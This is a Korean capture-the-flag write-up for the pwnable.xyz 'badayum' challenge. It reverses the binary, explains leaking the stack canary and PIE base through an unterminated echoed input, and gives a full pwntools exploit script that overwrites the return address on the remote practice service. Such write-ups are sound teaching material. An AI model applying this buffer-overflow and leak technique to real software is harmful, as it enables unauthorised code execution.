WAR GAME/pwnable.xyz

[pwnable.xyz] badayum 풀이 (pie leak, canary leak)

jir4vvit 2021. 6. 2. 11:36
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

랜덤으로 bof 찾기!?


Analysis

Check Mitigation

 보호 기법이 전부 다 걸려있다. 엄청 간단하거나, 카나리 릭이나 파이릭을 해야하는 그런 문제일 수도 있다.

Execution

Code

stripped된 파일이다.

sub_cb8은 그냥 셋팅하는거라서 sub_ead 함수를 살펴보기로 한다.

random_str을 sub_d48 함수를 통해 정의해주고 있다. (sub_d48함수는 추후 살펴볼 예정)

그리고 random_str을 포함해서 이것저것 출력을 해준 다음, 

random_str의 길이를 재고 v0변수에 저장하고 있다.

 

read함수로 사용자에게서 v0+1(random_str보다 한글자 더 긺) 길이의 input을 입력받는다.

 

4글자만 비교해서 거기에 만약 exit라고 입력을 한다면 break가 되고, (바로 while문 빠져나감)

random_str 길이만큼 input과 random_str을 비교해서 같으면 주황색 네모칸에 들어가 score가 ++되게 된다.

그렇지 않다면 --되며 이 게임을 이해하지 못했다.라는 문구가 출력된다.

 

while문을 벗어나기전에 random_str이 free가 되고(sub_d48함수 안에서 malloc되었을 것이다.)

그리고 while문을 빠져나오고 끝난다.

실제로 내용을 같게 해주면 score가 잘 ++된다.

디버깅을 통해 동작 과정을 살펴보자.

이런식으로 디버깅할 함수에 브레이크 포인트를 잡는다.

rand() %10한 값이 v6[0]에 들어가는 과정이다.

1이 들어간 것을 확인해볼 수 있다.

현재 i가 0xc (12)까지 돌아간 상태인데, 값이 잘 들어가고 있는 것을 확인할 수 있다. 

edx로 옮기니깐 4바이트씩 옮겨져서 저렇게 띄엄띄엄 값이 들어간 것을 확인할 수 있다.

i가 0x13(19)까지 돌아간 상태이다. 값이 잘 들어간 것을 확인할 수 있다. 0~9 사이의 값이 들어가 있당.

이제 첫번째 for문에서 빠져나오고, 두번째 for문에 들어간다.

strlen에서 bada 문자열 길이를 잰다. 왜 재는 것일까?

strlen((&off_202020)[v6[0]])

v6[0]은 1이다.

(&off_202020)[1] 이 값은 bada이기 때문에 저 문자열의 길이를 잰다.

 

그래서 v1에 길이를 계속 더해준다.

현재 인덱스는 0x9이고, 이때까지의 길이는 0x2a이다.

이렇게 계속 돌리면 v1은 결국 0x5a가 된다.

이제 v1+20한 값을 malloc을 이용하여 동적할당을 한다.

0x5a + 20 = 0x6e

그리고 memset을 이용하여 공간을 0으로 다 초기화를 해준다.

(&off_202020)[1]  값을 random_str에 복사를 해준다. 

그리고 '-' 문자열도 같이 이어준다.

이 과정을 반복하면 random_str이 완성되어 반환이 된다.

ing..

 

여기서 생각을 해볼 수 있는 점은, random_str의 길이가 진짜 랜덤이고, 우리가 입력할 수 있는 값이 크기는 random_str 길이+1이다.

여기서 만약 random_str이 0x70(112)+8 = 120보다 크다면, RET를 덮을 수 있지 않을까?

실제로 랜덤 문자열 중에서 가장 긴건 yadayada로 길이가 8이고, 8*20+19(-) = 179바이트가 된다.

Exploit Scenario

카나리랑 pie주소를 leak해야 한다.

입력이랑 random_str이랑 일치하던 안하던 strncmp로 비교를 한 다음, 나의 input을 출력을 시켜준다.

이걸 이용해서 pie와 canary를 leak하는 것! 

스트링 문자 뒤에는 무조건 null이 들어가는데, 이 null값을 대충 'B'같은 문자열로 채워줘서 그 뒤의 값들도 주르륵 같이 출력되도록 하는 원리.

 

1. random_str 길이가 105 이상이면 : 카나리 릭

2. random_str 길이가 121 이상이면 : 파이 릭

3. random_str 길이가 128 이상이면 : RET overwriting


원래 카나리 릭할때 파이 릭도 같이 하고 싶었다. 

그런데, 파이 주소 전에 저런 Null값이 포함되어있어서, 쥬르륵 다같이 출력이 안되어서 따로따로 릭하는 방법을 선택하였다.(어차피 while이라서 계속 돈다.)

pie base 구할때 offset은 위처럼 구했다.

 

Get Flag!

from pwn import *

#p = process('./challenge')
p = remote("svc.pwnable.xyz",30027)
e = ELF('./challenge')


while True:
    p.recvuntil('me  > ')
    random_str = p.recvline()
    
    log.info('random_str = '+ random_str)
    #log.info('len(random_str) = '+len(random_str))

    if len(random_str) >= 105:
        payload = 'A' * 104 + 'B'
        
        #pause()
        p.sendafter('you > ', payload)
        p.recvuntil('B')
        
        leak = p.read(7)
        print hexdump(leak)
        canary = '\x00' + leak
        canary = u64(canary)
        log.info('canary = ' + hex(canary))
        break
    else:
        p.sendafter('you > ', 'A')

while True:
    p.recvuntil('me  > ')
    random_str = p.recvline()

    log.info('random_str = '+random_str)

    if len(random_str) >= 121:
        payload = 'A' * 119 + 'B' 
        
        pause()
        p.sendafter('you > ', payload)
        p.recvuntil('B')

        leak = p.read(6)
        print hexdump(leak)
        pie = leak + '\x00\x00'
        pie = u64(pie)
        
        log.info('pie = ' + hex(pie))
        
        pie_base = pie - 0x1081
        log.info('pie_base = '+hex(pie_base))
        break
    else:
        p.sendafter('you > ' , 'A')
        

while True:
    p.recvuntil('me  > ')
    random_str = p.recvline()

    log.info('random_str = ' + random_str)

    if len(random_str) >= 128:
        payload = ''
        payload += 'A' * 104
        payload += p64(canary)
        payload += 'B' * 8
        payload += p64(pie_base + 0xd30)
        
        log.info('*********************************************')
        p.sendafter('you > ', payload)
        break
    else:
        p.sendafter('you > ', 'A')

p.sendafter('you > ' , 'exit')

p.interactive()